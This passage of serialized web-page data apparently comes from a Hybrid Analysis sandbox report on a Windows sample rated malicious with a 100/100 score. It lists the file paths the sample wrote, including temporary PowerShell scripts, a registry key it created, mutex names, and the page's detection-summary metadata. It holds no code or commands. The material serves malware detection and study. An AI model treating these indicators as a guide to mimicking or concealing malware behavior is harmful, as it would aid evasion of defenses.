":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\CC42971B7939A9CA55C44CFC893D7C1D","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\CC42971B7939A9CA55C44CFC893D7C1D","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\E6B84D30E5F69CEB3278532D063D4504","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\E6B84D30E5F69CEB3278532D063D4504","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%TEMP%\\n314phwr.xlb.ps1","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%TEMP%\\fkhesf0p.ndc.psm1","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\Multiarch.m0yv-385ff1036e8a03cb-inf","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Global\\Multiarch.m0yv-385ff1036e8a03cb-inf","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Global\\Multiarch.m0yv-385ff1036e8a03cbadad7ef4-b","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\Multiarch.m0yv-385ff1036e8a03cbadad7ef4-b","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"\\BaseNamedObjects\\Global\\Multiarch.m0yv-385ff1036e8a03cb9ea72c54-b","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"\\BaseNamedObjects\\SearchServiceMUT","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"\\BaseNamedObjects\\Global\\Multiarch.m0yv-385ff1036e8a03cb-inf","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"\\BaseNamedObjects\\Local\\WindowsSearchService_EfsRegKeysMutex","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]}]}},"report_ids":{"sandbox_job_ids":["6912f7c0202e89ec7c010238"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_100% Sample 8aa7088ebe77… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 8aa7088ebe77…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 14/28 AV engines flagged this file. 15 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_100% Sample 8aa7088ebe77… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 8aa7088ebe77…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 14/28 AV engines flagged this file. 15 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_100% Sample 8aa7088ebe77… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 8aa7088ebe77…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 14/28 AV engines flagged this file. 15 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$Lb2","11",{}]]